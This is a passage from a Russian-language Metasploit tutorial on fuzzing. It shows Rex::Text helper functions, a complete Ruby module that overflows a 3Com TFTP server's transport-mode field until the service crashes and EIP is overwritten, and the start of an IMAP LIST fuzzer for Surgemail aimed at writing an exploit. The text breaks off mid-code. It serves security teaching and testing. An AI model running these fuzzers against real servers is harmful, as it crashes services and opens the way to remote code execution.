Простой пример фаззинга.

Фаззинг - это процесс отсылки намеренно некорректных данных в исследуемый объект с целью вызвать ситуацию сбоя или ошибку. Типичная фаззинг проверка приложения - это проверка на переполнение буфера, строки формата, Directory Traversal атаки, уязвимости выполнения команд, SQL-инъекции, XSS и многое другое. Поскольку Metasploit представляет собой весьма полный набор библиотек для профессионалов в области безопасности, для многих сетевых протоколов и данных манипуляции, эта основа является хорошим кандидатом для быстрой разработки пригодной в фаззинге.


Rex::Text модуль предоставляет много удобных методов работы с текстом :
-Буфер преобразования,
-Кодирование (HTML, URL и т.д.),
-Контрольную сумму,
-Случайные генерации строк.
За более подробной информацией обратитесь к документации по API:
http://metasploit.com/documents/api/rex/classes/Rex/Text.html.
Вот некоторые из функций, которые вы можете найти в Rex::Text:

root@bt4:~/docs# grep "def self.rand" /pentest/exploits/framework3/lib/rex/text.rb
def self.rand_char(bad, chars = AllChars)
def self.rand_base(len, bad, *foo)
def self.rand_text(len, bad='', chars = AllChars)
def self.rand_text_alpha(len, bad='')
def self.rand_text_alpha_lower(len, bad='')
def self.rand_text_alpha_upper(len, bad='')
def self.rand_text_alphanumeric(len, bad='')
def self.rand_text_numeric(len, bad='')
def self.rand_text_english(len, bad='')
def self.rand_text_highascii(len, bad='')
def self.randomize_space(str)
def self.rand_hostname
def self.rand_state()

Простой TFTP фаззинг.

Одним из наиболее мощных аспектов Metasploit является, легкость внесения изменений и создания новой функциональности за счет повторного использования существующего кода.
Например, для демонстрации очень простого фаззинг кода, вы можете сделать несколько незначительных изменений в существующем модуле Metasploit для создания фаззинг модуля. Изменения будем вносить в значение длины в транспортном модуле 3Com TFTP сервисе под Windows, в результате чего перепишем EIP.

#Metasploit
 
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
        include Msf::Auxiliary::Scanner
        def initialize
                super(
                        'Name'           => '3Com TFTP Fuzzer',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
                        'Author'         => 'Your name here',
                        'License'        => MSF_LICENSE
                )
                register_options( [
                Opt::RPORT(69)
                ], self.class)
        end
        def run_host(ip)
                # Create an unbound UDP socket
                udp_sock = Rex::Socket::Udp.create(
                        'Context'   =>
                                {
                                        'Msf'        => framework,
                                        'MsfExploit' => self,
                                }
                )
                count = 10  # Set an initial count
                while count < 2000  # While the count is under 2000 run
                        evil = "A" * count  # Set a number of "A"s equal to count
                        pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                        udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                        print_status("Sending: #{evil}")  # Status update
                        resp = udp_sock.get(1)  # Capture the response
                        count += 10  # Increase count by 10, and loop
                end
        end
end

Теперь посмотрим, что произойдет.

OllyDbg

Мы получили крах приложения! Фаззинг работает так как и ожидалось.

Простой IMAP файзинг.

В ходе разведки мы обнаружили почтовые сервера IMAP, которые, как известно, могут быть уязвимыми для атак переполнения буфера (Surgemail 3.8k4-4). Но готового эксплоита нет, ни в базе данных Metasploit, ни в Интернете. Мы решили написать его сами, просто используя файзинг IMAP. Также мы знаем, что уязвимы команды IMAP LIST и нужно обладать высокими полномочиями чтобы их использовать. Как мы уже видели ранее, MSF может нам помочь большим арсеналом сетевых библиотек, и IMAP не является исключением. Включив Msf::Exploit::Remote::Imap мы сэкономим много времени при подключении к IMAP серверу и выполнению шагов аутентификации необходимых для проверки запуска уязвимой команды.
Вот код для файзинга IMAP LIST:

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::Imap
    include Msf::Auxiliary::Dos
 
    def initialize
        super(
            'Name'           => 'Simple IMAP Fuzzer',
            'Description'    => %q{
                                An example of how to build a simple IMAP fuzzer.
                                Account IMAP credentials are required in this fuzzer.
                        },
            'Author'         => [ 'ryujin' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $'
        )
    end
 
    def fuzz_str()
        return Rex::Text.rand_text_alphanumeric(rand(1024))
    end
 
    def run()
        srand(0)
        while (true)